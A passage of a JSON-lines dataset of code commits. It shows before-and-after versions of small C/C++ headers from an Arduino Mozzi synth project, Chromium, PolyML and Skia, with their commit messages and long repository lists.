{"commit":"f992b8ba5b714f65f607237ff8b4c77dd4856206","old_file":"malaria_instruments.h","new_file":"malaria_instruments.h","old_contents":"","new_contents":"#include <MozziGuts.h>\n#include <Oscil.h>\n#include <ADSR.h>\n#include <mozzi_midi.h>\n\n#include <tables\/sin2048_int8.h>\n\n#define applyGain(v, g)  ((v * g) >> 8)\n\n\nclass MalariaInstrument {\n public:\n  MalariaInstrument() {};\n  virtual void noteOn(byte note, byte velocity);\n  virtual void noteOff(byte note, byte velocity);\n  virtual void updateControl();\n  virtual int updateAudio();\n  virtual bool isPlaying();\n protected:\n};\n\n\nclass FMBell : public MalariaInstrument {\n public:\n  FMBell() {\n    aCarrier.setTable(SIN2048_DATA);\n    aModulator.setTable(SIN2048_DATA);\n    aCarrier.setFreq(0);\n    aModulator.setFreq(0);\n    modEnv.setIdleLevel(0);\n    modEnv.setLevels(255, 0, 0, 0);\n    modEnv.setTimes(20, 2000, 0, 0);\n    carEnv.setIdleLevel(0);\n    carEnv.setLevels(255, 0, 0, 0);\n    carEnv.setTimes(20, 2000, 0, 0);\n    gate = false;\n    gain = 0;\n  }\n  void noteOn(byte note, byte velocity) {\n    float fundamentalHz = mtof(float(note));\n    carrierFreq = float_to_Q16n16(fundamentalHz * 5.f);\n    modulatorFreq = float_to_Q16n16(fundamentalHz * 7.f);\n    deviation = (modulatorFreq>>16) * mod_index;\n    aModulator.setFreq_Q16n16(modulatorFreq);\n    aCarrier.setFreq_Q16n16(carrierFreq);\n    modEnv.noteOn();\n    carEnv.noteOn();\n    gate = true;\n    gain = velocity;\n  }\n  void noteOff(byte note, byte velocity) {\n    gate = false;\n  }\n  void updateControl() {\n    modEnv.update();\n    carEnv.update();\n  }\n  int updateAudio() {\n    if (gate) {\n      Q15n16 modulation = applyGain(deviation, applyGain(aModulator.next(), modEnv.next()));\n      return applyGain(applyGain(aCarrier.phMod(modulation), carEnv.next()), gain);\n    } else {\n      return 0;\n    }\n  }\n  bool isPlaying() {\n    return gate;\n  }\n private:\n  const Q8n8 mod_index = float_to_Q8n8(1.0f);\n  Oscil<SIN2048_NUM_CELLS, AUDIO_RATE> aCarrier;\n  Oscil<SIN2048_NUM_CELLS, AUDIO_RATE> aModulator;\n  ADSR <CONTROL_RATE, AUDIO_RATE> modEnv;\n  ADSR <CONTROL_RATE, AUDIO_RATE> carEnv;\n  Q16n16 carrierFreq, modulatorFreq, deviation;\n  byte gain;\n  bool gate;\n};\n\n","subject":"Add header for standard instruments.","message":"Add header for standard instruments.\n","lang":"C","license":"mit","repos":"anarkiwi\/Malaria"}
{"commit":"4d2173704ae6884eaab3e9f702fb910bfb84c30d","old_file":"base\/scoped_handle.h","new_file":"base\/scoped_handle.h","old_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_SCOPED_HANDLE_H_\n#define BASE_SCOPED_HANDLE_H_\n\n#include \"base\/basictypes.h\"\n\n#if defined(OS_WIN)\n#include \"base\/scoped_handle_win.h\"\n#endif\n\nclass ScopedStdioHandle {\n public:\n  ScopedStdioHandle()\n      : handle_(NULL) { }\n\n  explicit ScopedStdioHandle(FILE* handle)\n      : handle_(handle) { }\n\n  ~ScopedStdioHandle() {\n    Close();\n  }\n\n  void Close() {\n    if (handle_) {\n      fclose(handle_);\n      handle_ = NULL;\n    }\n  }\n\n  FILE* get() const { return handle_; }\n\n  FILE* Take() {\n    FILE* temp = handle_;\n    handle_ = NULL;\n    return temp;\n  }\n\n  void Set(FILE* newhandle) {\n    Close();\n    handle_ = newhandle;\n  }\n\n private:\n  FILE* handle_;\n\n  DISALLOW_EVIL_CONSTRUCTORS(ScopedStdioHandle);\n};\n\n#endif \/\/ BASE_SCOPED_HANDLE_H_\n","new_contents":"\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_SCOPED_HANDLE_H_\n#define BASE_SCOPED_HANDLE_H_\n\n#include <stdio.h>\n\n#include \"base\/basictypes.h\"\n\n#if defined(OS_WIN)\n#include \"base\/scoped_handle_win.h\"\n#endif\n\nclass ScopedStdioHandle {\n public:\n  ScopedStdioHandle()\n      : handle_(NULL) { }\n\n  explicit ScopedStdioHandle(FILE* handle)\n      : handle_(handle) { }\n\n  ~ScopedStdioHandle() {\n    Close();\n  }\n\n  void Close() {\n    if (handle_) {\n      fclose(handle_);\n      handle_ = NULL;\n    }\n  }\n\n  FILE* get() const { return handle_; }\n\n  FILE* Take() {\n    FILE* temp = handle_;\n    handle_ = NULL;\n    return temp;\n  }\n\n  void Set(FILE* newhandle) {\n    Close();\n    handle_ = newhandle;\n  }\n\n private:\n  FILE* handle_;\n\n  DISALLOW_EVIL_CONSTRUCTORS(ScopedStdioHandle);\n};\n\n#endif \/\/ BASE_SCOPED_HANDLE_H_\n","subject":"Add stdio to this file becasue we use FILE.","message":"Add stdio to this file becasue we use FILE.\n\nIt starts failing with FILE, identifier not found, when\nyou remove the include for logging.h, which is included\nin scoped_handle_win.h\n\nReview URL: http:\/\/codereview.chromium.org\/16461\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@7441 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium"}
{"commit":"118fccc561b32dd8d7396786402b9035bd667b32","old_file":"libpolyml\/basicio.h","new_file":"libpolyml\/basicio.h","old_contents":"\/*\n    Title:      Basic IO.\n\n    Copyright (c) 2000 David C. J. Matthews\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n    \n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n    \n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n\n*\/\n\n#ifndef BASICIO_H\n#define BASICIO_H\n\nclass SaveVecEntry;\ntypedef SaveVecEntry *Handle;\nclass TaskData;\n\nextern Handle IO_dispatch_c(TaskData *mdTaskData, Handle args, Handle strm, Handle code);\nextern Handle change_dirc(TaskData *mdTaskData, Handle name);\n\n#ifndef WINDOWS_PC\nextern void process_may_block(TaskData *taskData, int fd, int ioCall);\n#endif\n\n#endif \/* BASICIO_H *\/\n","new_contents":"\/*\n    Title:      Basic IO.\n\n    Copyright (c) 2000 David C. J. Matthews\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n    \n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n    \n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n\n*\/\n\n#ifndef BASICIO_H\n#define BASICIO_H\n\nclass SaveVecEntry;\ntypedef SaveVecEntry *Handle;\nclass TaskData;\n\nextern Handle IO_dispatch_c(TaskData *mdTaskData, Handle args, Handle strm, Handle code);\nextern Handle change_dirc(TaskData *mdTaskData, Handle name);\n\n#endif \/* BASICIO_H *\/\n","subject":"Remove process_may_block since it's no longer used except in xwindows.cpp.","message":"Remove process_may_block since it's no longer used except in xwindows.cpp.\n\n\ngit-svn-id: 98787b36aaefbae4b30fa755be920954cd25e1e4@548 ae7d391e-3f74-4a2b-a0db-a8776840fd2a\n","lang":"C","license":"lgpl-2.1","repos":"mn200\/polyml,mn200\/polyml,dcjm\/polyml,dcjm\/polyml,polyml\/polyml,polyml\/polyml,dcjm\/polyml,mn200\/polyml,polyml\/polyml,dcjm\/polyml,polyml\/polyml,mn200\/polyml"}
{"commit":"0090ec7cb0d38cc29bf18b31c31a142e8f199f33","old_file":"include\/effects\/SkStippleMaskFilter.h","new_file":"include\/effects\/SkStippleMaskFilter.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkStippleMaskFilter_DEFINED\n#define SkStippleMaskFilter_DEFINED\n\n#include \"SkMaskFilter.h\"\n\n\/**\n * Simple MaskFilter that creates a screen door stipple pattern\n *\/\nclass SkStippleMaskFilter : public SkMaskFilter {\npublic:\n    SkStippleMaskFilter() : INHERITED() {\r\n    }\r\n\r\n    virtual bool filterMask(SkMask* dst, const SkMask& src,\n                            const SkMatrix& matrix,\n                            SkIPoint* margin) SK_OVERRIDE;\n\n    \/\/ getFormat is from SkMaskFilter\n    virtual SkMask::Format getFormat() SK_OVERRIDE {\n        return SkMask::kA8_Format;\n    }\n\n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(SkStippleMaskFilter);\n\nprotected:\n    SkStippleMaskFilter::SkStippleMaskFilter(SkFlattenableReadBuffer& buffer)\r\n    : SkMaskFilter(buffer) {\r\n    }\n\nprivate:\n    typedef SkMaskFilter INHERITED;\n};\n\n#endif \/\/ SkStippleMaskFilter_DEFINED","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkStippleMaskFilter_DEFINED\n#define SkStippleMaskFilter_DEFINED\n\n#include \"SkMaskFilter.h\"\n\n\/**\n * Simple MaskFilter that creates a screen door stipple pattern\n *\/\nclass SkStippleMaskFilter : public SkMaskFilter {\npublic:\n    SkStippleMaskFilter() : INHERITED() {\n    }\n\n    virtual bool filterMask(SkMask* dst, const SkMask& src,\n                            const SkMatrix& matrix,\n                            SkIPoint* margin) SK_OVERRIDE;\n\n    \/\/ getFormat is from SkMaskFilter\n    virtual SkMask::Format getFormat() SK_OVERRIDE {\n        return SkMask::kA8_Format;\n    }\n\n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(SkStippleMaskFilter);\n\nprotected:\n    SkStippleMaskFilter(SkFlattenableReadBuffer& buffer)\n    : SkMaskFilter(buffer) {\n    }\n\nprivate:\n    typedef SkMaskFilter INHERITED;\n};\n\n#endif \/\/ SkStippleMaskFilter_DEFINED\n","subject":"Fix for compiler error in r4154","message":"Fix for compiler error in r4154\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@4155 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"geekboxzone\/mmallow_external_skia,geekboxzone\/lollipop_external_skia,Igalia\/skia,CyanogenMod\/android_external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,android-ia\/platform_external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,Purity-Lollipop\/platform_external_skia,BrokenROM\/external_skia,InfinitiveOS\/external_skia,nox\/skia,AOSPA-L\/android_external_skia,TeamBliss-LP\/android_external_skia,Pure-Aosp\/android_external_skia,akiss77\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,mozilla-b2g\/external_skia,Hybrid-Rom\/external_skia,HalCanary\/skia-hc,DesolationStaging\/android_external_skia,RadonX-ROM\/external_skia,DesolationStaging\/android_external_skia,Android-AOSP\/external_skia,aospo\/platform_external_skia,Omegaphora\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,ench0\/external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,Igalia\/skia,google\/skia,TeamTwisted\/external_skia,MinimalOS\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,byterom\/android_external_skia,Fusion-Rom\/android_external_skia,vvuk\/skia,AOSPB\/external_skia,spezi77\/android_external_skia,shahrzadmn\/skia,AOSPU\/external_chromium_org_third_party_skia,todotodoo\/skia,OneRom\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,shahrzadmn\/skia,Euphoria-OS-Legacy\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,OneRom\/external_skia,UBERMALLOW\/external_skia,TeamExodus\/external_skia,aospo\/platform_external_skia,noselhq\/skia,codeaurora-unoffical\/platform-external-skia,MinimalOS\/android_external_skia,Infinitive-OS\/platform_external_skia,pcwalton\/skia,TeslaProject\/external_skia,pcwalton\/skia,Infusion-OS\/android_external_skia,rubenvb\/skia,sombree\/android_external_skia,Plain-Andy\/android_platform_external_skia,Samsung\/skia,RadonX-ROM\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,wildermason\/external_skia,suyouxin\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,chenlian2015\/skia_from_google,ctiao\/platform-external-skia,BrokenROM\/external_skia,pacerom\/external_skia,ominux\/skia,TeamExodus\/external_skia,scroggo\/skia,TeamTwisted\/external_skia,fire855\/android_external_skia,HealthyHoney\/temasek_SKIA,amyvmiwei\/skia,Asteroid-Project\/android_external_skia,geekboxzone\/lollipop_external_skia,sombree\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,NamelessRom\/android_external_skia,GladeRom\/android_external_skia,suyouxin\/android_external_skia,TeamBliss-LP\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,boulzordev\/android_external_skia,Fusion-Rom\/android_external_skia,ominux\/skia,mmatyas\/skia,OptiPop\/external_skia,nvoron23\/skia,aosp-mirror\/platform_external_skia,AOSP-YU\/platform_external_skia,mydongistiny\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,akiss77\/skia,samuelig\/skia,boulzordev\/android_external_skia,jtg-gg\/skia,NamelessRom\/android_external_skia,pacerom\/external_skia,AndroidOpenDevelopment\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,DiamondLovesYou\/skia-sys,invisiblek\/android_external_skia,vvuk\/skia,VRToxin-AOSP\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,mmatyas\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,ominux\/skia,TeslaProject\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,wildermason\/external_skia,sudosurootdev\/external_skia,akiss77\/skia,w3nd1go\/android_external_skia,geekboxzone\/mmallow_external_skia,MonkeyZZZZ\/platform_external_skia,samuelig\/skia,AOSPB\/external_skia,RadonX-ROM\/external_skia,Asteroid-Project\/android_external_skia,OneRom\/external_skia,codeaurora-unoffical\/platform-external-skia,w3nd1go\/android_external_skia,larsbergstrom\/skia,sudosurootdev\/external_skia,YUPlayGodDev\/platform_external_skia,TeamExodus\/external_skia,MarshedOut\/android_external_skia,nox\/skia,AsteroidOS\/android_external_skia,geekboxzone\/lollipop_external_skia,HalCanary\/skia-hc,fire855\/android_external_skia,FusionSP\/android_external_skia,TeslaOS\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,OneRom\/external_skia,vanish87\/skia,Purity-Lollipop\/platform_external_skia,Pure-Aosp\/android_external_skia,sigysmund\/platform_external_skia,DesolationStaging\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,amyvmiwei\/skia,MonkeyZZZZ\/platform_external_skia,mmatyas\/skia,invisiblek\/android_external_skia,ench0\/external_chromium_org_third_party_skia,codeaurora-unoffical\/platform-external-skia,MyAOSP\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,scroggo\/skia,DesolationStaging\/android_external_skia,pacerom\/external_skia,timduru\/platform-external-skia,Infinitive-OS\/platform_external_skia,temasek\/android_external_skia,Android-AOSP\/external_skia,pcwalton\/skia,larsbergstrom\/skia,Khaon\/android_external_skia,rubenvb\/skia,mydongistiny\/android_external_skia,Pure-Aosp\/android_external_skia,Samsung\/skia,MarshedOut\/android_external_skia,Omegaphora\/external_skia,VentureROM-L\/android_external_skia,HealthyHoney\/temasek_SKIA,spezi77\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,Tesla-Redux\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,Infinitive-OS\/platform_external_skia,jtg-gg\/skia,invisiblek\/android_external_skia,Purity-Lollipop\/platform_external_skia,todotodoo\/skia,Jichao\/skia,Igalia\/skia,TeamEOS\/external_skia,FusionSP\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,AndroidOpenDevelopment\/android_external_skia,mozilla-b2g\/external_skia,larsbergstrom\/skia,mmatyas\/skia,DARKPOP\/external_chromium_org_third_party_skia,google\/skia,HealthyHoney\/temasek_SKIA,todotodoo\/skia,UBERMALLOW\/external_skia,Euphoria-OS-Legacy\/android_external_skia,wildermason\/external_skia,TeamExodus\/external_skia,VentureROM-L\/android_external_skia,DiamondLovesYou\/skia-sys,MinimalOS\/external_chromium_org_third_party_skia,MinimalOS\/external_chromium_org_third_party_skia,VentureROM-L\/android_external_skia,temasek\/android_external_skia,F-AOSP\/platform_external_skia,google\/skia,wildermason\/external_skia,shahrzadmn\/skia,HealthyHoney\/temasek_SKIA,vanish87\/skia,AOSPA-L\/android_external_skia,ench0\/external_skia,jtg-gg\/skia,google\/skia,vanish87\/skia,TeslaOS\/android_external_skia,amyvmiwei\/skia,DARKPOP\/external_chromium_org_third_party_skia,MinimalOS\/android_external_skia,sigysmund\/platform_external_skia,MyAOSP\/external_chromium_org_third_party_skia,vvuk\/skia,todotodoo\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,AOSPB\/external_skia,UBERMALLOW\/external_skia,F-AOSP\/platform_external_skia,pcwalton\/skia,MinimalOS\/external_skia,samuelig\/skia,ominux\/skia,Igalia\/skia,ench0\/external_chromium_org_third_party_skia,ominux\/skia,HalCanary\/skia-hc,Euphoria-OS-Legacy\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,SlimSaber\/android_external_skia,SlimSaber\/android_external_skia,pcwalton\/skia,NamelessRom\/android_external_skia,Jichao\/skia,TeamEOS\/external_chromium_org_third_party_skia,geekboxzone\/lollipop_external_skia,Fusion-Rom\/android_external_skia,fire855\/android_external_skia,wildermason\/external_skia,shahrzadmn\/skia,akiss77\/skia,mozilla-b2g\/external_skia,InfinitiveOS\/external_skia,AndroidOpenDevelopment\/android_external_skia,nox\/skia,MarshedOut\/android_external_skia,DesolationStaging\/android_external_skia,vanish87\/skia,houst0nn\/external_skia,geekboxzone\/lollipop_external_skia,nfxosp\/platform_external_skia,DesolationStaging\/android_external_skia,sudosurootdev\/external_skia,Infusion-OS\/android_external_skia,qrealka\/skia-hc,noselhq\/skia,ominux\/skia,samuelig\/skia,RadonX-ROM\/external_skia,Omegaphora\/external_skia,noselhq\/skia,qrealka\/skia-hc,TeslaOS\/android_external_skia,Infinitive-OS\/platform_external_skia,TeamEOS\/external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,noselhq\/skia,YUPlayGodDev\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,sombree\/android_external_skia,scroggo\/skia,VentureROM-L\/android_external_skia,byterom\/android_external_skia,Tesla-Redux\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,nvoron23\/skia,amyvmiwei\/skia,Khaon\/android_external_skia,byterom\/android_external_skia,nvoron23\/skia,AOSPA-L\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,suyouxin\/android_external_skia,AOSPB\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,AOSPA-L\/android_external_skia,fire855\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,PAC-ROM\/android_external_skia,PAC-ROM\/android_external_skia,Pure-Aosp\/android_external_skia,aosp-mirror\/platform_external_skia,NamelessRom\/android_external_skia,noselhq\/skia,Plain-Andy\/android_platform_external_skia,AOSPU\/external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,PAC-ROM\/android_external_skia,Fusion-Rom\/android_external_skia,Infusion-OS\/android_external_skia,VentureROM-L\/android_external_skia,xzzz9097\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,sombree\/android_external_skia,nox\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,GladeRom\/android_external_skia,vvuk\/skia,temasek\/android_external_skia,geekboxzone\/mmallow_external_skia,pacerom\/external_skia,RadonX-ROM\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,shahrzadmn\/skia,Tesla-Redux\/android_external_skia,PAC-ROM\/android_external_skia,BrokenROM\/external_skia,MIPS\/external-chromium_org-third_party-skia,nox\/skia,YUPlayGodDev\/platform_external_skia,qrealka\/skia-hc,Hikari-no-Tenshi\/android_external_skia,w3nd1go\/android_external_skia,TeslaProject\/external_skia,YUPlayGodDev\/platform_external_skia,Purity-Lollipop\/platform_external_skia,AOSPB\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,MinimalOS-AOSP\/platform_external_skia,TeslaProject\/external_skia,AOSPA-L\/android_external_skia,vvuk\/skia,DiamondLovesYou\/skia-sys,mydongistiny\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,google\/skia,Tesla-Redux\/android_external_skia,vvuk\/skia,rubenvb\/skia,Hybrid-Rom\/external_skia,geekboxzone\/mmallow_external_skia,AndroidOpenDevelopment\/android_external_skia,TeamEOS\/external_skia,pacerom\/external_skia,AOSPB\/external_skia,Pure-Aosp\/android_external_skia,sigysmund\/platform_external_skia,Android-AOSP\/external_skia,xzzz9097\/android_external_skia,TeamEOS\/external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,OneRom\/external_skia,YUPlayGodDev\/platform_external_skia,HealthyHoney\/temasek_SKIA,todotodoo\/skia,F-AOSP\/platform_external_skia,YUPlayGodDev\/platform_external_skia,Samsung\/skia,TeamExodus\/external_skia,rubenvb\/skia,TeamExodus\/external_skia,google\/skia,PAC-ROM\/android_external_skia,temasek\/android_external_skia,NamelessRom\/android_external_skia,temasek\/android_external_skia,todotodoo\/skia,Infusion-OS\/android_external_skia,tmpvar\/skia.cc,AsteroidOS\/android_external_skia,Infusion-OS\/android_external_skia,Plain-Andy\/android_platform_external_skia,Plain-Andy\/android_platform_external_skia,DiamondLovesYou\/skia-sys,Euphoria-OS-Legacy\/android_external_skia,larsbergstrom\/skia,android-ia\/platform_external_chromium_org_third_party_skia,FusionSP\/android_external_skia,MinimalOS\/external_skia,AOSP-YU\/platform_external_skia,fire855\/android_external_skia,DiamondLovesYou\/skia-sys,geekboxzone\/lollipop_external_skia,w3nd1go\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,F-AOSP\/platform_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,TeamTwisted\/external_skia,mydongistiny\/external_chromium_org_third_party_skia,samuelig\/skia,akiss77\/skia,android-ia\/platform_external_skia,MarshedOut\/android_external_skia,w3nd1go\/android_external_skia,MinimalOS\/external_skia,TeamBliss-LP\/android_external_skia,AOSP-YU\/platform_external_skia,NamelessRom\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,TeslaProject\/external_skia,byterom\/android_external_skia,SlimSaber\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,SlimSaber\/android_external_skia,VRToxin-AOSP\/android_external_skia,NamelessRom\/android_external_skia,AOSP-YU\/platform_external_skia,DesolationStaging\/android_external_skia,nox\/skia,fire855\/android_external_skia,android-ia\/platform_external_skia,MinimalOS-AOSP\/platform_external_skia,timduru\/platform-external-skia,TeamEOS\/external_skia,Hybrid-Rom\/external_skia,Android-AOSP\/external_skia,Omegaphora\/external_skia,F-AOSP\/platform_external_skia,geekboxzone\/mmallow_external_skia,TeamTwisted\/external_skia,HalCanary\/skia-hc,TeamTwisted\/external_skia,Android-AOSP\/external_skia,Jichao\/skia,Tesla-Redux\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,InfinitiveOS\/external_skia,shahrzadmn\/skia,suyouxin\/android_external_skia,AOSP-YU\/platform_external_skia,HalCanary\/skia-hc,Plain-Andy\/android_platform_external_skia,vvuk\/skia,invisiblek\/android_external_skia,qrealka\/skia-hc,TeamExodus\/external_skia,shahrzadmn\/skia,DARKPOP\/external_chromium_org_third_party_skia,aospo\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,mmatyas\/skia,Euphoria-OS-Legacy\/android_external_skia,Khaon\/android_external_skia,aospo\/platform_external_skia,mydongistiny\/android_external_skia,MonkeyZZZZ\/platform_external_skia,vanish87\/skia,AndroidOpenDevelopment\/android_external_skia,mmatyas\/skia,OneRom\/external_skia,MinimalOS\/android_external_skia,boulzordev\/android_external_skia,invisiblek\/android_external_skia,fire855\/android_external_skia,ctiao\/platform-external-skia,BrokenROM\/external_skia,MonkeyZZZZ\/platform_external_skia,Tesla-Redux\/android_external_skia,Khaon\/android_external_skia,boulzordev\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,sombree\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,tmpvar\/skia.cc,GladeRom\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,SlimSaber\/android_external_skia,fire855\/android_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,BrokenROM\/external_skia,InfinitiveOS\/external_skia,jtg-gg\/skia,ench0\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,UBERMALLOW\/external_skia,timduru\/platform-external-skia,OptiPop\/external_chromium_org_third_party_skia,akiss77\/skia,Infinitive-OS\/platform_external_skia,HealthyHoney\/temasek_SKIA,zhaochengw\/platform_external_skia,mmatyas\/skia,MinimalOS-AOSP\/platform_external_skia,mmatyas\/skia,F-AOSP\/platform_external_skia,GladeRom\/android_external_skia,Hybrid-Rom\/external_skia,YUPlayGodDev\/platform_external_skia,Android-AOSP\/external_skia,Samsung\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,android-ia\/platform_external_skia,Hybrid-Rom\/external_skia,OptiPop\/external_chromium_org_third_party_skia,TeamEOS\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,TeamTwisted\/external_skia,google\/skia,OptiPop\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,android-ia\/platform_external_skia,RadonX-ROM\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,Omegaphora\/external_skia,AsteroidOS\/android_external_skia,todotodoo\/skia,geekboxzone\/mmallow_external_skia,boulzordev\/android_external_skia,Infusion-OS\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,TeslaProject\/external_skia,InfinitiveOS\/external_skia,AOSPA-L\/android_external_skia,TeamExodus\/external_skia,Jichao\/skia,sigysmund\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,vvuk\/skia,Asteroid-Project\/android_external_skia,geekboxzone\/mmallow_external_skia,Fusion-Rom\/android_external_skia,Igalia\/skia,Hikari-no-Tenshi\/android_external_skia,TeamBliss-LP\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,android-ia\/platform_external_skia,MIPS\/external-chromium_org-third_party-skia,ench0\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,scroggo\/skia,DesolationStaging\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,spezi77\/android_external_skia,tmpvar\/skia.cc,VentureROM-L\/android_external_skia,mydongistiny\/android_external_skia,zhaochengw\/platform_external_skia,TeamEOS\/external_chromium_org_third_party_skia,larsbergstrom\/skia,FusionSP\/android_external_skia,nfxosp\/platform_external_skia,jtg-gg\/skia,suyouxin\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,VentureROM-L\/android_external_skia,codeaurora-unoffical\/platform-external-skia,MinimalOS-AOSP\/platform_external_skia,MinimalOS\/external_skia,ctiao\/platform-external-skia,mozil